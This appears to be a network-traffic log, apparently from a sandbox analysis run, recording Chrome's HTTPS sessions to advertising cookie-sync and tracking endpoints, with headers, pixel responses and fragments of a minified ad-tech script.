2024-04-11 21:27:05 UTC	707	OUT	GET /api/v1/dsync/Martin?exid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent= HTTP/1.1 Host: crb.kargo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ktcid=12d186d5-c065-0a8a-5399-4c540288d0a1
2024-04-11 21:27:05 UTC	456	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-cache, no-store, must-revalidate, private, max-age=0 Expires: Thu, 01 Jan 1970 00:00:00 UTC Pragma: no-cache Set-Cookie: ktcid=12d186d5-c065-0a8a-5399-4c540288d0a1; Path=/; Domain=kargo.com; Expires=Fri, 11 Apr 2025 21:27:05 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None Vary: Origin X-Accel-Expires: 0
2024-04-11 21:27:05 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
497	192.168.2.17	50332	52.71.183.211	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	659	OUT	GET /insync?vxii_pid=10067&vxii_pdid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent= HTTP/1.1 Host: thrtle.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:05 UTC	570	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 211 Connection: close Location: https://thrtle.com/insync?gdpr=0&gdpr_consent=&vxii_pdid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&vxii_pid=12&vxii_pid1=10067&vxii_rcid=c48d18dc-adc5-4674-848e-5fd6be9bfe78 P3p: CP="NOI OUR BUS UNI COM NAV" Set-Cookie: mc=eyJpZCI6ImM0OGQxOGRjLWFkYzUtNDY3NC04NDhlLTVmZDZiZTliZmU3OCIsImwiOjE3MTI4NzA4MjU0MDEsInQiOjF9; Path=/; Domain=thrtle.com; Expires=Thu, 11 Apr 2024 21:27:05 GMT; Max-Age=17280000; Secure; SameSite=None
2024-04-11 21:27:05 UTC	211	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 72 74 6c 65 2e 63 6f 6d 2f 69 6e 73 79 6e 63 3f 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 76 78 69 69 5f 70 64 69 64 3d 32 35 46 39 35 34 39 45 2d 31 33 36 41 2d 34 37 45 39 2d 39 31 37 31 2d 44 41 34 34 43 30 45 30 44 35 45 33 26 61 6d 70 3b 76 78 69 69 5f 70 69 64 3d 31 32 26 61 6d 70 3b 76 78 69 69 5f 70 69 64 31 3d 31 30 30 36 37 26 61 6d 70 3b 76 78 69 69 5f 72 63 69 64 3d 63 34 38 64 31 38 64 63 2d 61 64 63 35 2d 34 36 37 34 2d 38 34 38 65 2d 35 66 64 36 62 65 39 62 66 65 37 38 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://thrtle.com/insync?gdpr=0&gdpr_consent=&vxii_pdid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&vxii_pid=12&vxii_pid1=10067&vxii_rcid=c48d18dc-adc5-4674-848e-5fd6be9bfe78">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
498	192.168.2.17	50361	34.117.239.71	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	514	OUT	GET /match?liv=h&us_privacy=1---&bidder_id=90&external_user_id=4283912458326592098 HTTP/1.1 Host: events-ssc.33across.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
2024-04-11 21:27:05 UTC	257	IN	HTTP/1.1 200 OK content-type: image/png cache-control: no-cache, no-store, max-age=0, must-revalidate Content-Length: 68 Date: Thu, 11 Apr 2024 21:27:05 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:05 UTC	68	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 0b 49 44 41 54 78 da 63 60 00 02 00 00 05 00 01 e9 fa dc d8 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRIDATxc`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
499	192.168.2.17	50331	44.205.174.187	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	816	OUT	GET /pbmtc.gif?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=$UID HTTP/1.1 Host: beacon.lynx.cognitivlabs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:05 UTC	337	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Length: 0 Connection: close Server: Kestrel Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=239cb25a-cfc7-4eef-9e77-08cbf9cb201b&r=https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=${PUBMATIC_UID}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
500	192.168.2.17	50348	52.94.220.185	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	695	OUT	GET /s/dcm?pid=a38a8ddf-19a7-4ab8-ba05-0a61de92a7e5&id= HTTP/1.1 Host: aax-eu.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
2024-04-11 21:27:05 UTC	807	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: F4VHN8A3JADAT3QMZ2F0 Set-Cookie: ad-id=A2D_XDx3tU5MhPWHEz8pwhw; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 21:27:05 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 21:27:05 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-04-11 21:27:05 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
501	192.168.2.17	50327	35.174.179.73	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	812	OUT	GET /dsp/google/cookiematch/dv?gdpr=0&gdpr_consent= HTTP/1.1 Host: ap.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D
2024-04-11 21:27:05 UTC	526	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Length: 0 Connection: close Location: https://cm.g.doubleclick.net/pixel?google_nid=lijit_dbm&google_hm=SWViSEFMWkh3cEQ1Vk5LeFJYYXZTSGlM&gdpr=0 Set-Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL;Version=1;Domain=.lijit.com;Path=/;Max-Age=31536000;Secure; SameSite=None; Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, DELETE, PUT Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Requested-With, Content-Type

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
502	192.168.2.17	50347	18.206.144.25	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	615	OUT	GET /CookieSyncPubMatic&gdpr=0&gdpr_consent= HTTP/1.1 Host: rtb.adentifi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:05 UTC	128	IN	HTTP/1.1 204 No Content Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Type: text/plain Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
503	192.168.2.17	50338	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	826	OUT	GET /pixel?google_nid=rubicon&google_cm&google_sc&process_consent=T HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUnKTao8RJNkre_DilFL_eNpJEN6oSgYP12FeM51cAOqXnzsiO_HwKK3PwdFhxI
2024-04-11 21:27:05 UTC	683	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://pixel.rubiconproject.com/tap.php?v=7751&nid=2249&expires=30&put=CAESEGWGjoTkGpWWOBot8H26gtM&google_cver=1 Date: Thu, 11 Apr 2024 21:27:05 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 326 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:05 UTC	326	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 74 61 70 2e 70 68 70 3f 76 3d 37 37 35 31 26 61 6d 70 3b 6e 69 64 3d 32 32 34 39 26 61 6d 70 3b 65 78 70 69 72 65 73 3d 33 30 26 61 6d 70 3b 70 75 74 3d 43 41 45 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://pixel.rubiconproject.com/tap.php?v=7751&nid=2249&expires=30&put=CAE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
504	192.168.2.17	50335	52.7.152.165	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	648	OUT	GET /sync?pid=187&uid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.bfmio.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:05 UTC	420	IN	HTTP/1.1 204 Date: Thu, 11 Apr 2024 21:27:05 GMT Set-Cookie: __187_cid=25F9549E-136A-47E9-9171-DA44C0E0D5E3; Domain=.bfmio.com; Max-Age=31536000; Expires=Fri, 11-Apr-2025 17:27:05 GMT-0400; Path=/; SameSite=None; Secure Set-Cookie: __io_cid=035b33366cf8ea37f76b4e20562b6afb237ddd31; Domain=.bfmio.com; Max-Age=31536000; Expires=Fri, 11-Apr-2025 17:27:05 GMT-0400; Path=/; SameSite=None; Secure Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
505	192.168.2.17	50349	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	756	OUT	GET /pixel?google_nid=rubicon&google_hm=MGY1Nzc4ZDk5NDU1NDY3NDE2MDVmZDAzMDQzNzRlNjRlYTg1ODJlMQ HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUnKTao8RJNkre_DilFL_eNpJEN6oSgYP12FeM51cAOqXnzsiO_HwKK3PwdFhxI
2024-04-11 21:27:05 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 11 Apr 2024 21:27:05 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:05 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
506	192.168.2.17	50326	69.194.240.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	614	OUT	GET /usersync2/rmpssp?sub=sovrn&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:05 UTC	643	IN	HTTP/1.1 302 Found date: Thu, 11 Apr 2024 21:27:06 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-f46229e0-d186-4f50-bcf4-fc793ddc8ce8-005%22%2C%22zdxidn%22%3A%222069.80%22%7D; path=/; expires=Fri, 11 Apr 2025 21:27:06 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://sync.1rx.io/usersync2/rmpssp?sub=sovrn&zcc=1&cb=1712870826311 etag: RXf46229e0d1864f50bcf4fc793ddc8ce8005 connection: close
2024-04-11 21:27:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
507	192.168.2.17	50357	13.226.34.75	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	530	OUT	GET /ope-dmplite.js HTTP/1.1 Host: cdn.opecloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:05 UTC	573	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 67625 Connection: close Date: Thu, 11 Apr 2024 21:16:26 GMT Server: nginx/1.24.0 Last-Modified: Wed, 10 Apr 2024 12:53:12 GMT ETag: "66168bb8-10829" Expires: Thu, 18 Apr 2024 21:16:26 GMT Cache-Control: max-age=604800 Cache-Control: public Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 98ff52bb9a3187350f3ea674f4110afa.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR53-C2 X-Amz-Cf-Id: KjQJjqQ5BKsGGxMf93wD79p0mA185LF_QgQ_IaWGSeXtvZjtyZ_vhQ== Age: 639
2024-04-11 21:27:05 UTC	15811	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 74 68 69 73 2e 66 75 6e 6e 65 6c 3d 74 2c 74 68 69 73 2e 69 6e 69 74 69 61 6c 43 61 6c 6c 50 72 6f 6d 69 73 65 3d 6e 75 6c 6c 2c 74 68 69 73 2e 6d 61 78 43 61 6c 6c 44 65 6c 61 79 4d 73 3d 32 65 33 7d 72 65 74 75 72 6e 20 74 2e 70 72 6f 74 6f 74 79 70 65 2e 63 61 6c 6c 50 69 78 65 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 66 75 6e 6e 65 6c 2e 77 69 74 68 52 61 63 65 50 72 6f 74 65 63 74 69 6f 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e Data Ascii: !function(){"use strict";var t=function(){function t(t){this.funnel=t,this.initialCallPromise=null,this.maxCallDelayMs=2e3}return t.prototype.callPixel=function(t,n){var e=this;return this.funnel.withRaceProtection((function(){return new Promise((function
2024-04-11 21:27:05 UTC	16384	IN	Data Raw: 63 65 41 63 63 65 73 73 4f 6b 28 29 5d 3b 63 61 73 65 20 31 3a 69 66 28 6e 2e 73 65 6e 74 28 29 29 72 65 74 75 72 6e 5b 32 2c 74 68 69 73 2e 73 74 6f 72 61 67 65 5d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 4d 69 73 73 69 6e 67 20 63 6f 6e 73 65 6e 74 20 66 6f 72 20 61 63 63 65 73 73 69 6e 67 20 64 65 76 69 63 65 20 73 74 6f 72 61 67 65 2e 22 29 7d 7d 29 29 7d 29 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6d 6f 76 65 49 74 65 6d 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 73 74 6f 72 61 67 65 2e 72 65 6d 6f 76 65 49 74 65 6d 28 74 29 7d 2c 74 7d 28 29 2c 4b 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 2c 72 29 7b 72 65 74 75 72 6e 20 6e 65 77 28 65 7c 7c 28 65 3d 50 72 6f 6d 69 73 65 29 29 28 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b Data Ascii: ceAccessOk()];case 1:if(n.sent())return[2,this.storage];throw Error("Missing consent for accessing device storage.")}}))}))},t.prototype.removeItem=function(t){this.storage.removeItem(t)},t}(),K=function(t,n,e,r){return new(e\|\|(e=Promise))((function(o,i){
2024-04-11 21:27:05 UTC	16384	IN	Data Raw: 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 2c 63 6f 6e 74 65 6e 74 3a 74 68 69 73 2e 65 6e 63 6f 64 65 41 73 46 6f 72 6d 55 72 6c 53 74 72 69 6e 67 28 7b 66 70 69 64 3a 6e 75 6c 6c 21 3d 65 3f 65 3a 22 22 7d 29 7d 2c 6f 3d 6e 3f 22 2f 22 2e 63 6f 6e 63 61 74 28 74 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2c 22 2f 76 32 2f 74 61 67 67 65 72 2f 64 65 6c 65 74 65 22 29 3a 22 2f 22 2e 63 6f 6e 63 61 74 28 74 2c 22 2f 76 32 2f 74 61 67 67 65 72 2f 64 65 6c 65 74 65 22 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 68 74 74 70 43 6c 69 65 6e 74 2e 73 65 6e 64 52 65 71 75 65 73 74 28 22 50 4f 53 54 22 2c 6f 2c 7b 7d 2c 7b 7d 2c 72 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 64 61 74 61 41 63 63 65 73 73 3d 66 75 6e 63 74 69 Data Ascii: ation/x-www-form-urlencoded",content:this.encodeAsFormUrlString({fpid:null!=e?e:""})},o=n?"/".concat(t,"/").concat(n,"/v2/tagger/delete"):"/".concat(t,"/v2/tagger/delete");return this.httpClient.sendRequest("POST",o,{},{},r)},t.prototype.dataAccess=functi
